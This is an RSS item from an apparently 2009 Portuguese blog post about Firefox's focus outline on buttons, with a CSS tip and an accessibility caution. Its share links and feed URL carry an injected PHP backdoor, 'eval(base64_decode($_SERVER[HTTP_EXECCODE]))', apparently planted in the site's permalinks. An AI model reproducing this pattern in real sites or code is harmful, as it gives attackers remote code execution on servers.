<p>Outro dia eu estava trabalhando no meu projeto secreto com os outros fundadores do blog, e queria fazer um botão super bonito. Eu usei a tag &lt;button&gt; pra poder inserir imagens e texto lá dentro, pra criar um botão tão maneiro que seus olhos explodiriam de prazer. Depois de um tempão criando o botão, me deparei com o <strong>outline do firefox</strong>, que acabou com todo o mojo.</p>
<p>Sério, um <strong>quadrado pontilhado</strong> estraga completamente aquele botão super bonito, arredondado, com degradê e efeitos de mouse over.</p>
<p>Se você também se irrita com isso, fique feliz porque você pode pelo menos <strong>impedir que o outline apareça nos seus links</strong>. Basta declarar o seguinte no <strong>CSS </strong>para os seus links:</p>
<pre name="code" class="css">a {
    outline: none;
}</pre>
<p>Isso não funciona nos submits e buttons, entretanto. Não adianta nem tentar.</p>
<p>Ah, e se você procurar bastante na internet vai ter algum super gênio por aí sugerindo usar um <strong>código em javascript que tira o outline</strong> dos botões. Não faça isto em hipótese alguma! O que essa solução em javascript faz é tirar instantaneamento o foco do botão assim que ele recebe foco. Fazendo isso o usuário não pode manusear seu formulário (ou seu botão) pelo teclado, não pode chegar ao seu botão apertando TAB. Ou seja, fica uma porcaria.</p>
<p>Esse tipo de coisa acaba forçando o desenvolvedor a fazer algo totalmente não semântico, como usar &lt;a&gt; pra criar o seu botão de submit, só pra se livrar do <strong>outline</strong>. Algumas vezes essas bobeiras do navegador vão tão longe que até o google acabou usando &lt;div&gt; pra criar os &#8220;botões&#8221; que ele usa hoje em dia no <a title="Google Reader" rel="nofollow" href="http://reader.google.com"><strong>Google Reader</strong> </a>e no <a title="GMail" rel="nofollow" href="http://www.gmail.com"><strong>GMail</strong></a>. Pode ir lá olhar, é div!</p>
<p>Até onde eu sei, apenas o <strong>Firefox </strong>tem essa obsessão por <strong>outline</strong>. Espero que desistam disso em versões futuras. Na 3.5, quem sabe.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=O%20Firefox%20%C3%A9%20um%20navegador%20muito%20bacana%2C%20muito%20legal.%20Eu%20o%20respeito%20muito%20por%20ser%20o%20principal%20respons%C3%A1vel%20por%20roubar%20fatia%20de%20mercado%20do%20Internet%20Explorer.%20Mas%20tem%20uma%20coisa%20que%20me%20irrita%20muito%20nele%3A%20o%20outline%20obrigat%C3%B3rio%20que%20ele%20coloca%20nos%20links%20e%20" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F19%2Fa-maldicao-do-outline-no-firefox%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=A%20maldi%C3%A7%C3%A3o%20do%20outline%20no%20firefox&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/19/a-maldicao-do-outline-no-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
